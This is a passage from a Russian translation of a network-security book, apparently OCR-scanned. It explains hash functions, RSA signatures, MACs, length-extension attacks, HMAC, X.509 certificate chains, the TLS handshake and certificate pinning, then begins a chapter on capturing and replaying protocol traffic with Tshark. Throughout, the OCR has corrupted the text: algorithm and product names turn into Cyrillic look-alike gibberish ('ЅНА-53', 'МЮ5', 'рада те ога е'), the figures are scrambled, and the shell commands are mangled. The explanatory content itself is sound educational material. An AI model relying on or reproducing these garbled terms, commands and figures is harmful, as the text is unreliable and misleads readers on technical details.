означает, что он тот, за кого себя выдает. Благодаря асимметрично- 
му шифрованию вам даже не нужно заранее обмениваться ключами 
вручную, поэтому любой может зашифровать данные с помощью ва- 
шего открытого ключа и отправить их вам. 

Алгоритмы подписи решают эту проблему путем создания уникаль- 
ной подписи сообщения. Получатель сообщения может использовать 
тот же алгоритм, который использовался для создания подписи, что- 
бы доказать, что сообщение пришло от подписавшего. Есть дополни- 
тельное преимущество – добавляя подпись к сообщению, вы защи- 
щаете его от подделки, если оно передается по ненадежной сети. Это 
важно, потому что шифрование данных не дает никаких гарантий 
целостности данных; т. е. злоумышленник по-прежнему может изме- 
нить зашифрованное сообщение, зная базовый сетевой протокол. 

Все алгоритмы подписи построены на алгоритмах криптографи- 
ческого хеширования. Сначала я опишу хеширование более подробно, 
а затем объясню некоторые наиболее распространенные алгоритмы 
подписи. 


Алгоритмы криптографического хеширования 


Алгоритмы криптографического хеширования - это функции, кото- 
рые применяются к сообщению для создания «отпечатков» этого со- 
общения фиксированной длины, которая обычно намного короче ис- 
ходного сообщения. Эти алгоритмы также называются алгоритмами 
для создания дайджестов сообщений. Целью хеширования в алгорит- 
мах подписи является создание относительно уникального значения 
для проверки целостности сообщения и уменьшения объема данных, 
которые необходимо подписать и проверить. 

Чтобы алгоритм хеширования подходил для криптографических 
целей, он должен соответствовать трем требованиям: 


• стойкость к восстановлению прообраза - учитывая значение 
хеша, должно быть сложно (например, для этого потребуются 
огромные вычислительные мощности) восстановить сообщение; 


ө стойкость К коллизиям - должно быть сложно найти два раз- 
ных сообщения с одинаковым значением хеша; 


• нелинейность – должно быть сложно создать сообщение, кото- 
рое хеширует какое-либо заданное значение. 


Доступен ряд алгоритмов хеширования, но наиболее распростра- 
ненные - это члены семейства Меѕѕағе ГРієеѕі (МР) или Ѕесиге Наѕћіпв 
А[вотийт (ЅНА). Первое включает алгоритмы Мр4 и МР5, разрабо- 
танные Роном Ривестом. Семейство ЅНА, куда входят, среди прочего, 
алгоритмы $НА-1 и ЅНА-2, было опубликовано Национальным инсти- 
тутом стандартов и технологий (№Т). 

Другие простые алгоритмы хеширования, такие как контрольные 
суммы и циклические избыточные коды, полезны для обнаружения 
изменений в наборе данных; тем не менее они не очень полезны для 
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безопасных протоколов. Злоумышленник может с легкостью изме- 
нить контрольную сумму, поскольку линейное поведение этих алго- 
ритмов позволяет просто определить, как изменяется контрольная 
сумма, и эта модификация данных защищена, поэтому цель атаки не 
знает об изменении. 


Асимметричные алгоритмы подписи 


Асимметричные алгоритмы подписи используют свойства асиммет- 
ричной криптографии для создания подписи сообщения. Некоторые 
алгоритмы, такие как КЅА, могут использоваться для предоставления 
подписи и шифрования, тогда как другие, например алгоритм циф- 
ровой подписи (05А), предназначены только для подписей. В обоих 
случаях подписываемое сообщение хешируется, и на основе хеша ге- 
нерируется подпись. 

Ранее вы видели, как можно использовать В5А для шифрования, но 
как использовать его для подписи сообщения? Алгоритм подписи ВЗА 
основан на том факте, согласно которому можно зашифровать сооб- 
щение с помощью закрытого ключа и расшифровать его с помощью 
открытого. Хотя такое «шифрование» уже не является безопасным 
(ключ для дешифрования сообщения теперь является открытым), его 
можно использовать для подписи сообщения. 

Например, подписывающая сторона хеширует сообщение и приме- 
няет процесс дешифрования КА к хешу с использованием закрытого 
ключа; этот зашифрованный хеш и есть подпись. Получатель сообще- 
ния может преобразовать подпись, используя открытый ключ подпи- 
сывающей стороны, чтобы получить исходное значение хеш-функции 
и сравнить его с собственной хеш-функцией сообщения. Если они со- 
впадают, то отправитель должен использовать правильный закрытый 
ключ для шифрования хеша; если получатель верит, что единственное 
лицо, имеющее закрытый ключ, является подписывающей стороной, 
то подпись будет верифицирована. Этот процесс показан на рис. 7.13. 


Хеш сообщения 


Хеш сообщения 


Закрытый ключ Открытый ключ 


Шифрование Расшифровка 
с использованием с использованием 
алгоритма В5А 76} алгоритма В$А 


Подпись В5А 


Рис. 7.13. Обработка подписи с использованием ВЅА 
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Имитовставки (коды аутентификации сообщения) 


В отличие от В$А, который представляет собой асимметричный ал- 
горитм, коды аутентификации сообщения (МАС) - это симметричные 
алгоритмы подписи. Как и в случае с симметричным шифрованием, 
эти алгоритмы полагаются на совместное использование ключа от- 
правителем и получателем. 

Например, вы хотите отправить мне подписанное сообщение, 
иу обоих из нас есть доступ к общему ключу. Сперва вы каким-то 
образом объедините сообщение с ключом. (Чуть позже я подробнее 
расскажу, как это сделать.) Затем вы хешируете эту комбинацию, что- 
бы получить значение, которое было бы непросто воспроизвести без 
исходного сообщения и общего ключа. Когда вы отправляете мне со- 
общение, вы также отправляете этот хеш в качестве подписи. Я мог 
бы проверить достоверность подписи, выполнив тот же алгоритм, 
что и вы: я объединяю ключ и сообщение, хеширую эту комбинацию 
и сравниваю полученное значение с подписью, которую вы отправи- 
ли. Если эти два значения одинаковы, я могу быть уверен, что это вы 
отправили сообщение. 

Как совместить ключ и сообщение? У вас может возникнуть соблазн 
попробовать что-то простое, например просто поставить перед сооб- 
щением ключ и использовать хеширование для получения комбина- 
ции, как показано на рис. 7.14. 


Внутренний блок дополнения Сообщение 


М05 


МАС 


Рис. 7.14. Простая реализация МАС 


Но в случае со многими распространенными алгоритмами хеширо- 
вания (включая МР5 и ЅНА-1) это было бы серьезной ошибкой, пото- 
му что это открывает возможность для осуществления атаки, извест- 
ной как атака удлинением сообщения. Чтобы понять, почему, нужно 
знать, как устроены алгоритмы хеширования. 


Атака удлинением сообщения и коллизионная атака 


Многие распространенные алгоритмы хеширования, включая МО5 
и ЅНА-1, имеют блочную структуру. При хешировании сообщения ал- 
горитм должен сначала разбить сообщение на блоки равного размера 
для обработки. (МО5, например, использует размер в 64 байта.) 

По мере выполнения алгоритма хеширования единственным со- 
стоянием, которое он поддерживает между каждым блоком, является 
хеш-значение предыдущего блока. Для первого блока предыдущее 
хеш-значение представляет собой набор правильно подобранных 
констант. Правильно подобранные константы указываются как часть 
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алгоритма и обычно важны для безопасной работы. На рис. 7.15 пока- 
зан пример того, как это работает в Мр5. 


0х67452301 
ОХЕҒСРАВ89 


Начальный хеш 
Ох98ВАРСҒЕ 
0х10325476 


ОХАААААААА 


ОхВВВВВВВВ 
охсссссссс 
0х00000000 


Хеш 0 


Сообщение 


Хеш 1 


Ох ТТТ 


0хЈЈЈЈЈЈЈЈ 
ОХЕЕЕЕЕЕЕЕ 


Рис. 7.15. Блочная структура МЮ5 


Окончательный хеш 
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Важно отметить, что окончательный результат процесса хеширо- 
вания блока зависит только от хеша предыдущего блока и текущего 
блока сообщения. К окончательному хеш-значению перестановка не 
применяется. Следовательно, можно расширить хеш-значение, за- 
пустив алгоритм с последнего хеша вместо предопределенных конс- 
тант, а затем пропустить его через блоки данных, которые вы хотите 
добавить к окончательному хешу. 

В случае с кодами аутентификации сообщений, где ключ стоит 
в начале сообщения, такая структура может позволить злоумышлен- 
нику каким-либо образом изменить сообщение, например добавив 
дополнительные данные в конец загруженного файла. 

Если злоумышленник может добавить дополнительные блоки 
в конец сообщения, то он может вычислить соответствующее значе- 
ние МАС, не зная ключа, потому что ключ уже был хеширован в со- 
стояние алгоритма к тому времени, когда злоумышленник получил 
контроль. 

Что, если переместить ключ в конец сообщения, вместо того что- 
бы ставить его в начало? Такой подход, безусловно, предотвращает 
атаку с удлинением сообщения, но проблема все же остается. Вместо 
расширения злоумышленник должен найти хеш-коллизию, т. е. сооб- 
щение с тем же хеш-значением, что и реальное отправляемое сооб- 
щение. Поскольку многие алгоритмы хеширования (включая МО5) не 
устойчивы к коллизиям, МАС может быть открыт для такого рода кол- 
лизионных атак. (Один из алгоритмов хеширования, который не уяз- 
вим для этой атаки, - это ЗНА-53.) 


Коды аутентификации сообщений, использующие хеш-функции 


Можно использовать код аутентификации сообщений, использующий 
хеш-функции (НМАС) для противодействия атакам, описанным в пре- 
дыдущем разделе. Вместо того чтобы напрямую добавлять ключ к со- 
общению и использовать хешированный вывод для создания подпи- 
си, НМАС разбивает процесс на две части. 

Сначала ключ подвергается операции ХОК с блоком дополнения, 
равным размеру блока алгоритма хеширования. Этот первый блок 
дополнения заполняется повторяющимся значением, обычно бай- 
том 0х36. Комбинированный результат - это первый ключ, который 
иногда называют внутренним блоком дополнения. Он ставится перед 
сообщением, и применяется алгоритм хеширования. На втором эта- 
пе берется хеш-значение из первого этапа, к хешу добавляется но- 
вый ключ (т. н. внешний блок дополнения, который обычно исполь- 
зует константу 0х5С), и снова применяется алгоритм хеширования. 
Результат - окончательное значение НМАС. Этот процесс показан на 
рис. 7.16. 

Данная конструкция устойчива к атакам удлинением сообщения 
и коллизионным атакам, потому что злоумышленник не может пред- 
сказать окончательное значение хеш-функции без ключа. 
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Внутренний блок дополнения Сообщение 


М5 


Внешний блок дополнения Промежуточный хеш 


мр5 


НМАС 


Рис. 7.16. Код аутентификации сообщений, использующий хеш-функции 


Инфраструктура открытых ключей 


Как проверить личность владельца открытого ключа при шифрова- 
нии с открытым ключом? Тот факт, что ключ опубликован с соответ- 
ствующим идентификатором, например Бобом Смитом из Лондона, 
не означает, что он и в самом деле от него. Например, если мне уда- 
лось заставить вас поверить, что мой открытый ключ от Боба, все, что 
вы ему зашифруете, будет доступно для чтения только мне, потому 
что закрытый ключ принадлежит мне. 

Чтобы как-то обезопасить себя, мы реализуем инфраструктуру от- 
крытого ключа (РКІ). Это объединенный набор протоколов, форматов 
ключей шифрования, ролей пользователей и политик, используемых 
для управления информацией об асимметричном открытом ключе 
в сети. Одна из моделей РКІ, Иер оѓ Тгиѕї (ИОТ), используется такими 
приложениями, как Ргеѓѓу Сооа Ргіуасу (РСР). В модели МОТ подлин- 
ность открытого ключа подтверждается кем-то, кому вы доверяете, 
возможно, кем-то, с кем вы встречались лично. К сожалению, хотя 
ҰГОТ и подходит для электронной почты, где, вы, вероятно, знаете, 
с кем общаетесь, она не подходит для автоматизированных сетевых 
приложений и бизнес-процессов. 


Сертификаты Х.509 


Если МОТ не подходит, то обычно используют более централизован- 
ную модель доверия, такую как сертификаты Х.509, которые создают 
строгую иерархию доверия, вместо того чтобы полагаться на одноран- 
говые узлы, доверяющие друг другу напрямую. Сертификаты Х.509 
используются для проверки веб-серверов, подписи исполняемых 
программ или аутентификации в сетевой службе. Доверие обеспечи- 
вается через иерархию сертификатов с использованием асимметрич- 
ных алгоритмов подписи, таких как КЅА и ОЗА. 

Для завершения этой иерархии действующие сертификаты долж- 
ны содержать не менее четырех фрагментов информации: 


• субъект, определяющий подлинность сертификата; 
• открытый ключ субъекта; 
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• издатель, который идентифицирует сертификат подписи; 


е действительная подпись на сертификате, заверенная закрытым 
ключом издателя. 


Эти требования создают иерархию, называемую цепочкой доверия 
между сертификатами, как показано на рис. 7.17. Одно из преиму- 
ществ этой модели состоит в том, что, поскольку распространяется 
только информация об открытом ключе, можно предоставлять серти- 
фикаты компонентов пользователям через открытые сети. 


Издатель: ЅирегбідпСА 
Субъект: ЅирегЅідпСА 


1 


Корневой сертификат 


Подписание Подписание 


Издатель: ЅирегЅідпСА Издатель: ЅирегЅідпСА 
Субъект: Ваддег 5оЙ\маге ха Субъект: уммм.Баддегз. сот 


сә е 
1 Ў 


Сертификат подписи кода Сертификат веб-сервера 


Рис. 7.17. Цепочка доверия сертификатов Х.509 


Обратите внимание, что в иерархии обычно существует несколь- 
ко уровней, поскольку для издателя корневого сертификата было 
бы необычно напрямую подписывать сертификаты, используемые 
приложением. Корневой сертификат выдается центром сертифика- 
ции (ЦО). Это может быть общественная организация или компания 
(например, Мегіѕіеп) либо частное лицо, которое выдает сертификаты 
для использования во внутренних сетях. Задача ЦС – проверять под- 
линности всех, кому выдаются сертификаты. 

К сожалению, объем реальных проверок не всегда ясен. Часто цент- 
ры сертификации больше заинтересованы в продаже подписанных 
сертификатов, чем в выполнении своей работы, а некоторые центры 
лишь проверяют, выдают ли они сертификат на зарегистрированный 
служебный адрес. Наиболее добросовестные центры сертификации 
должны, по крайней мере, отказываться генерировать сертификаты 
для известных компаний, таких как М!сгозой или Соое, если запрос 
на сертификат не поступает от компании. По определению корневой 
сертификат не может быть подписан другим сертификатом. Корневой 
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сертификат представляет собой самоподписанный сертификат, в ко- 
тором закрытый ключ, связанный с открытым ключом сертификата, 
используется для подписи самого себя. 


Проверка цепочки сертификатов 


Чтобы проверить сертификат, вы следуете по цепочке выдачи обрат- 
но к корневому сертификату, проверяя на каждом этапе, что каждый 
сертификат имеет действительную подпись, срок действия которой 
еще не истек. На этом этапе вы решаете, доверяете ли вы корнево- 
му сертификату - и, соответственно, идентификатору сертификата 
в конце цепочки. Большинство приложений, обрабатывающих сер- 
тификаты, например веб-браузеры и операционные системы, имеют 
надежную базу данных корневых сертификатов. 

Что может помешать тому, кто получил сертификат веб-сервера, 
подписать свой поддельный сертификат с использованием закрыто- 
го ключа веб-сервера? На практике такое вполне возможно. С точки 
зрения криптографии один закрытый ключ такой же, как и любой 
другой. Если ваше доверие к сертификату основано на цепочке клю- 
чей, то мошеннический сертификат вернется к доверенному корню 
и окажется действительным. 

Для защиты от этой атаки спецификация Х.509 определяет пара- 
метр основных ограничений, который можно дополнительно добавить 
в сертификат. Этот параметр представляет собой флаг, который ука- 
зывает на то, что сертификат можно использовать для подписи дру- 
гого сертификата и, таким образом, действовать как центр сертифи- 
кации. Если флаг сертификата установлен в значение #а15е (или если 
параметр основных ограничений отсутствует), то проверка цепочки 
должна завершиться ошибкой, если этот сертификат когда-либо ис- 
пользовался для подписания другого сертификата. На рис. 7.18 пока- 
зан этот основной параметр ограничения в реальном сертификате, 
в котором говорится, что этот сертификат должен быть действитель- 
ным, чтобы действовать как центр сертификации. 

Но что, если сертификат, выданный для проверки веб-сервера, ис- 
пользуется вместо подписи кода приложения? В этой ситуации сер- 
тификат Х.509 может предоставить параметр использования ключа, 
который указывает на то, для каких целей был создан сертификат. 
Если сертификат когда-либо использовался для чего-то, для чего 
он не был предназначен, то цепочка проверки должна завершиться 
ошибкой. 

Наконец, что произойдет, если закрытый ключ, связанный с дан- 
ным сертификатом, будет украден или ЦС случайно выдаст поддель- 
ный сертификат (как это происходило неоднократно)? Несмотря на 
то что у каждого сертификата есть срок действия, эта дата может быть 
через много лет в будущем. Следовательно, если сертификат необхо- 
димо отозвать, ЦС может опубликовать список отозванных сертифи- 
катов. Если какой-либо сертификат в цепочке находится в этом спис- 
ке, то процесс проверки завершится ошибкой. 
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Как видите, проверка цепочки сертификатов потенциально может 
потерпеть неудачу в нескольких местах. 


Пример использования: протокол защиты 
транспортного уровня 


Применим теоретические знания, лежащие в основе безопасности 
протоколов и криптографии, к реальному протоколу. Протокол за- 
щиты транспортного уровня (ТІ.5), ранее известный как Ѕесиге 5оск- 
еіѕ Гауег (581), является наиболее распространенным протоколом 
безопасности, используемым в интернете. Он был изначально разра- 
ботан М№Меїѕсаре как 851. в середине 1990-х годов для защиты НТТР- 
соединений. Протокол претерпел несколько изменений: 551-версии 
с 1.0 по 3.0 и ТГ$-версии с 1.0 по 1.2. Хотя изначально он был разрабо- 
тан для НТТР, его можно использовать для любого протокола ТСР. Су- 
ществует даже его разновидность, протокол Раѓавгат Тгапѕрогї Гауег 
5есигйу (ОТІ.5), для использования с ненадежными протоколами, та- 
кими как ОПР. 

ТІ использует многие конструкции, описанные в этой главе, в том 
числе симметричное и асимметричное шифрования, МАС, безопас- 
ный обмен ключами и РКІ. Я расскажу о роли каждого из этих крипто- 
графических инструментов в безопасности ТТ$-соединения и упо- 
мяну о некоторых атаках с участием этого протокола. (Я только буду 
обсуждать ТІ.5 версии 1.0, потому что это наиболее часто поддержи- 
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ваемая версия, но имейте в виду, что версии 1.1 и 1.2 постепенно ста- 
новятся все более распространёнными, из-за ряда проблем безопас- 
ности с версией 1.0.) 


ТІ5-рукопожатие 


Самая важная часть установки нового ТІ.5-соединения - это рукопо- 
жатие, когда клиент и сервер согласовывают тип шифрования, кото- 
рый они будут использовать, обмениваются уникальным ключом для 
соединения и проверяют личность друг друга. При обмене данными 
используется протокол ТІ.5 Кесога – предопределенная структура ТТУ 
(Таз-Гепе-Уае), которая позволяет парсеру протокола извлекать 
отдельные записи из потока байтов. Всем пакетам рукопожатия при- 
сваивается значение тега 22, чтобы они отличались от других пакетов. 
На рис. 7.19 в упрощенной форме показан поток этих пакетов. (Неко- 
торые пакеты необязательны, как показано на рисунке.) 


Клиент Сервер 


Сііепї НЕШО 


Ѕегуег НЕШО Обязательные пакеты —— 


Дополнительные 
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Епсгурїеа їга# їс 


Рис. 7.19. Процесс Т.5-рукопожатия 


Как видно из всех этих данных, отправляемых туда и обратно, про- 
цесс рукопожатия может занимать много времени: иногда его можно 
усечь или полностью обойти путем кеширования ранее согласованно- 
го сеансового ключа или запроса клиента на сервер для возобновления 
предыдущего сеанса путем предоставления уникального идентифи- 
катора сеанса. Это не является проблемой безопасности, потому что, 
хотя клиент-злоумышленник может запросить возобновление сеанса, 
клиент все равно не знает закрытый согласованный сеансовый ключ. 
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Начальное согласование 


Напервом этапе клиенти сервер согласовывают параметры безопасно- 
сти, которые они хотят использовать для Т1.5-соединения, с помощью 
сообщения НЕГО. Одна из частей информации в этом сообщении - 
это случайное значение клиента, которое гарантирует, что процесс 
соединения непросто будет воспроизвести. Сообщение НЕШО также 
указывает, какие типы шифров поддерживает клиент. Хотя ТІ.5 разра- 
ботан так, чтобы быть гибким в отношении используемых алгоритмов 
шифрования, он поддерживает только симметричные шифры, такие 
как ҜС4 или АЕ$, поскольку использование шифрования с открытым 
ключом было бы слишком затратным с точки зрения вычислений. 

Сервер отвечает собственным сообщением НЕШО, в котором ука- 
зывается, какой шифр он выбрал из доступного списка, предостав- 
ленного клиентом. (Соединение заканчивается, если пара не может 
согласовать общий шифр.) Сообщение НЕШО от сервера также содер- 
жит случайное значение сервера, еще одно случайное значение, которое 
добавляет дополнительную защиту от воспроизведения соединения. 
Затем сервер отправляет свой сертификат Х.509, а также все необхо- 
димые промежуточные сертификаты центра сертификации, чтобы 
клиент мог принять обоснованное решение о подлинности сервера. 
Потом сервер отправляет пакет НЕМО Попе, чтобы сообщить, что 
клиент может продолжить аутентификацию соединения. 


Аутентификация конечной точки 


Клиент должен убедиться, что сертификаты сервера действительны 
и соответствуют требованиям безопасности клиента. Во-первых, кли- 
ент должен подтвердить личность в сертификате, сопоставив поле сер- 
тификата Ѕиђјесі (Субъект) с доменным именем сервера. Например, на 
рис. 7.20 показан сертификат для домена илуи/.дотат.сот. Поле Ѕибјесі 
содержит поле Соттоп Мате (С№ Ө, соответствующее этому домену. 

Поля сертификата Ѕиђјесі и Іѕѕиег (Издатель) - это не просто стро- 
ки, а имена Х.500, которые содержат другие поля, такие как Огзаш- 
7таНоп (Организация) (обычно это название компании, владеющей 
сертификатом) и Ета (произвольный адрес электронной почты). 
Однако во время рукопожатия для подтверждения личности прове- 
ряется только содержимое поля СМ, поэтому пусть вас не смущают 
лишние данные. Также в этом поле можно использовать подстано- 
вочные знаки, что полезно для совместного использования сертифи- 
катов с несколькими серверами, работающими на имени поддомена. 
Например, если общее имя указано как *дотат.сот, это будет соот- 
ветствовать и/или. дотат.сот и БІов.Яотаіп.сот. 

После того как клиент проверил подлинность конечной точки (т. е. 
сервер на другом конце соединения), он должен гарантировать, что 
сертификат является доверенным. Это достигается путем построения 
цепочки доверия для сертификата и всех промежуточных сертифи- 
катов ЦС, проверяя, чтобы ни один из сертификатов не отображался 
в списках отозванных сертификатов. Если клиент не доверяет корню 
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цепочки, он может предположить, что сертификат является подозри- 
тельным, и разорвать соединение с сервером. На рис. 7.21 показана 
простая цепочка с промежуточным ЦС для ууу. дотат. сот. 
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ТТ$ также поддерживает дополнительный сертификат клиента, 
который позволяет серверу аутентифицировать клиента. Если сервер 
запрашивает сертификат клиента, он отправляет клиенту список до- 
пустимых корневых сертификатов на этапе отправки сообщения НЕІ- 
ГО. Затем клиент может выполнить поиск доступных сертификатов 
и выбрать наиболее подходящий для отправки обратно на сервер. Он 
отправляет сертификат вместе с проверочным сообщением, содержа- 
щим хеш всех отправленных и полученных до этого момента сооб- 
щений рукопожатия, подписанных закрытым ключом сертификата. 
Сервер может проверить соответствие подписи ключу в сертификате 
и предоставить клиенту доступ; однако если совпадения не будет, то 
сервер может закрыть соединение. Подпись доказывает серверу, что 
у клиента есть закрытый ключ, связанный с сертификатом. 


Установка зашифрованного соединения 


После того как конечная точка будет аутентифицирована, клиент 
и сервер наконец могут установить зашифрованное соединение. Для 
этого клиент отправляет на сервер случайно сгенерированное чис- 
ло (рге-тазег Кеу), зашифрованное открытым ключом из сертифи- 
ката. Затем клиент и сервер объединяют его со случайными данны- 
ми клиента и сервера и используют это комбинированное значение 
для заполнения генератора случайных чисел, который генерирует 
48-байтовый мастер-ключ. Он и будет сеансовым ключом для зашиф- 
рованного соединения. (Тот факт, что и сервер, и клиент генерируют 
мастер-ключ, обеспечивает защиту от воспроизведения соединения, 
потому что если одна из конечных точек отправляет другое случайное 
значение во время согласования, конечные точки будут генерировать 
разные мастер-ключи.) 

Когда у обеих конечных точек есть мастер-секрет или сеансовый 
ключ, возможно зашифрованное соединение. Клиент выдает пакет 
изменения спецификации шифра, чтобы сообщить серверу, что с этого 
момента он будет отправлять только зашифрованные сообщения. Од- 
нако клиенту необходимо отправить на сервер одно последнее сооб- 
щение, прежде чем можно будет передать обычный трафик: сообще- 
ние Еіпіѕһеа. Это сообщение зашифровано с помощью ключа сеанса 
и содержит хеш всех сообщений, отправленных и полученных в про- 
цессе рукопожатия. Это важный шаг при защите от атаки понижения 
версии протокола, при которой злоумышленник изменяет процесс 
рукопожатия, чтобы попытаться понизить безопасность соединения, 
выбрав слабые алгоритмы шифрования. Как только сервер получит 
сообщение Еіпіѕһеа, он сможет проверить правильность согласован- 
ного ключа сеанса (в противном случае пакет не будет расшифрован) 
и правильность хеш-кода. Если что-то нетак, то он может закрыть со- 
единение. Но если все в порядке, сервер отправит клиенту собствен- 
ное сообщение об изменении спецификации шифра, и можно будет 
начать зашифрованный обмен данными. Каждый зашифрованный 
пакет также проверяется с помощью НМАС, что обеспечивает про- 
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верку подлинности данных и гарантирует целостность данных. Эта 
проверка особенно важна, если был согласован потоковый шифр, на- 
пример ВС4; в противном случае зашифрованные блоки можно было 
бы легко изменить. 


Соответствие требованиям безопасности 


Протокол ТІ успешно отвечает четырем требованиям безопасности, 
перечисленным в начале этой главы. Они кратко изложены в табл. 7.4. 


Таблица 7.4. Как ТІ отвечает требованиям безопасности 


Требование безопасности Как протокол отвечает им 


Конфиденциальность данных Выбираемые наборы надежных шифров. 
Безопасный обмен ключами 


Целостность данных Зашифрованные данные защищены НМАС. 
Пакеты рукопожатия проверяются окончательной 
верификацией хеша 


Проверка подлинности сервера Клиент может выбрать проверку конечной точки 
сервера с помощью РК! и выданного сертификата 


Проверка подлинности клиента Дополнительная проверка подлинности клиента на базе 
сертификата 


Но здесь есть и проблемы. Самая значительная из них, которая на 
момент написания этих строк не была исправлена в последних верси- 
ях протокола, – это зависимость от РКІ на базе сертификатов. Прото- 
кол полностью зависит от доверия ктому, что сертификаты выдаются 
правильным людям и организациям. Если сертификат для сетевого 
подключения указывает на то, что приложение обменивается данны- 
ми с сервером Сбоое, предполагается, что только боо?1е сможет при- 
обрести требуемый сертификат. К сожалению, это не всегда так. Были 
задокументированы ситуации, когда корпорации и правительства 
нарушали процесс ЦС для создания сертификатов. Кроме того, были 
допущены ошибки, когда центры сертификации не были достаточно 
осмотрительны и выдали ненадлежащие сертификаты, такие как сер- 
тификат боое, показанный на рис. 7.22, который в конечном итоге 
пришлось отозвать. 

Одним из частичных исправлений модели сертификата являет- 
ся процесс, называемый закреплением сертификата. Закрепление 
означает, что приложение ограничивает допустимые сертификаты 
и издателей для определенных доменов. В результате, если кому-то 
удастся обманным путем получить действительный сертификат для 
ими. до00д(е.сот, приложение заметит, что сертификат не соответству- 
ет ограничениям ЦС, и не сможет установить соединение. 

Конечно, у закрепления сертификата есть свои недостатки, поэто- 
му оно применимо не ко всем сценариям. Самая распространенная 
проблема - это управление списком закреплений; в частности, со- 
здание первоначального списка – возможно, и не слишком сложная 
задача, но его обновление приводит к дополнительной нагрузке. Еще 
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одна проблема заключается в том, что разработчик не может просто 
перенести сертификаты в другой ЦС или изменить сертификаты, не 
выпуская обновления для всех клиентов. 
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Рис. 7.22. Сертификат 
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Еще одна проблема с ТТ$, по крайней мере когда дело доходит до 
наблюдения за сетью, заключается в том, что Т.5-соединение можно 
перехватить из сети, излоумышленник может хранить до его тех пор, 
пока оно не понадобится. Если злоумышленник получит закрытый 
ключ сервера, весь предыдущий трафик может быть расшифрован. 
По этой причине ряд сетевых приложений склоняются к обмену клю- 
чами с использованием алгоритма ПН, помимо использования серти- 
фикатов для проверки личности. 

Это обеспечивает совершенную прямую секретность – даже если 
закрытый ключ скомпрометирован, будет непросто вычислить ключ, 
сгенерированный Рн. 


Заключительное слово 


В этой главе основное внимание было уделено основам безопасно- 
сти протокола. Безопасность протокола имеет множество аспектов 
и является очень сложной темой. Поэтому важно понимать, что мо- 
жет пойти не так, и суметь определить проблему во время анализа 
протокола. 

Шифрование и подписи затрудняют перехват конфиденциальной 
информации, передаваемой по сети. Процесс шифрования преобразу- 
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ет открытый текст (данные, которые вы хотите скрыть) в шифротекст 
(зашифрованные данные). Подписи используются, чтобы проверить, 
что данные, передаваемые по сети, не были скомпрометированы. Со- 
ответствующая подпись также может использоваться для проверки 
подлинности отправителя. Возможность проверки отправителя очень 
полезна для аутентификации пользователей и компьютеров в нена- 
дежной сети. 

В этой главетакже описаны возможные атаки на криптографию, ис- 
пользуемую для безопасности протокола, включая хорошо известную 
атаку рада те ога е, которая может позволить расшифровать трафик, 
отправляемый на сервер и с сервера. В следующих главах я подроб- 
нее объясню, как анализировать протокол на предмет конфигурации 
безопасности, включая алгоритмы шифрования, используемые для 
защиты конфиденциальных данных. 


РЕАЛИЗАЦИЯ 
СЕТЕВОГО ПРОТОКОЛА 


нализ сетевого протокола может быть самоцелью; однако, ско- 

рее всего, вы захотите реализовать протокол, чтобы протести- 

ровать его на наличие уязвимостей. В этой главе вы узнаете, 
как реализовать протокол для тестирования. Я расскажу о методах по- 
вторного использования как можно большего количества существую- 
щего кода, чтобы уменьшить объем усилий по разработке. 

В этой главе я использую свое приложение ЅирегЕипкуСћаї, кото- 
рое предоставляет данные тестирования, а также клиенты и серверы 
для тестирования. Конечно, вы можете использовать любой протокол, 
который вам нравится: основные принципы будут такими же. 


Воспроизведение существующего перехваченного 
сетевого трафика 


В идеале нужно выполнить лишь минимум, необходимый для реа- 
лизации клиента или сервера для тестирования безопасности. Один 
из способов сократить количество требуемых усилий — перехватить 
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трафик сетевого протокола и воспроизвести с реальными клиентами 
или серверами. Мы рассмотрим три способа достижения этой цели: 
использование М№Меїсаї для отправки необработанных двоичных дан- 
ных, применение Руфоп для отправки пакетов ОПР и повторное ис- 
пользование кода из главы 5 для реализации клиента и сервера. 


Перехват трафика с помощью Меса! 


М№Меќсаї – это самый простой способ реализовать сетевой клиентили сер- 
вер. Базовый инструмент №еѓсаї доступен для большинства платформ, 
хотя существует несколько версий с разными параметрами команд- 
ной строки. (Иногда его называют пс или пеќсаї.) Мы будем работать 
с В5)-версией, которая используется в тасО$ и является стандартной 
в большинстве систем Шпих. Возможно, вам придется адаптировать 
команды, если вы работаете в другой операционной системе. 

Первым шагом при использовании М№еќсаї является перехват тра- 
фика, который вы хотите воспроизвести. Мы будем использовать 
версию МігеѕһагкК с инструментом командной строки ТзВагК для пе- 
рехвата трафика, генерируемого бирегЕипкуСВае. (Возможно, вам по- 
требуется установить ТѕһагК на свою платформу.) 

Чтобы ограничить наш перехват пакетами, отправленными и по- 
лученными нашим СһаїЅегуег, работающим на ТСР-порту 12345, мы 
будем использовать выражение фильтра ВРЕ (Вегкеіеу Раскеї Еет), 
дабы ограничить перехват конкретным набором пакетов. Выражения 
фильтра ВРЕ ограничивают перехват пакетов, тогда как фильтр ото- 
бражения МігеѕһагКк ограничивает только отображение гораздо боль- 
шего набора пакетов перехвата. 

Выполните следующую команду в консоли, чтобы начать перехват 
трафика порта 12345 и запись вывода в файл сариге.рсар. Вместо 
ІМТМАМЕ укажите имя интерфейса, на котором вы выполняете пере- 
хват, например еЁћ0. 


$ Еѕһагк -1 ІАТМАМЕ -м сарёџге.рсар ср роге 12345 


Установите клиентское соединение с сервером, чтобы начать пе- 
рехват пакетов, затем остановите перехват, нажав сочетание клавиш 
СЫ1+С в консоли, где запущен Тѕһагк. Убедитесь, что вы перехватили 
правильный трафик в выходной файл, запустив ТзВагК с параметром 
-г и указав файл сарѓиге.рсар. В листинге 8.1 показан пример вывода 
Тѕһагк с добавлением параметров -2 сопу, {ср для вывода списка пе- 
рехваченных ТСР-диалогов. 


Листинг 8.1. Проверка перехвата трафика протокола чата 


$ Еѕһагк -г сарфиге.рсар -2 сопу, ср 
Ө 1 0 192.168.56.1 > 192.168.56.100 ТСР 66 26082 -— 12345 [5ҮМ№] 
2 0.000037695 192.168.56.100 -› 192.168.56.1 ТСР 66 12345 - 26082 [5ҮМ№, АСК] 
3 0.000239814 192.168.56.1 > 192.168.56.100 ТСР 60 26082 — 12345 [АСК] 
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4 0.007160883 192.168.56.1 - 192.168.56.100 ТСР 60 26082 ә 12345 [РЅН, АСК] 
5 0.007225155 192.168.56.100 - 192.168.56.1 ТСР 54 12345 -› 26082 [АСК] 
- - обрезано- - 


ТСР Сопуегѕа1іопѕ 
ҒіЛег:<№о Е\Лег> 


| Егамеѕ Вуёеѕ | | Егатеѕ Вуёеѕ | 
192.168.56.1:26082 <-> 192.168.56.100:123459 17 10209 28 17339 


Как видно из листинга 8.1, Тѕһагк выводит список необработан- 
ных пакетов Ө, а затем отображает сводку ТСР-диалогов Ө, которая 
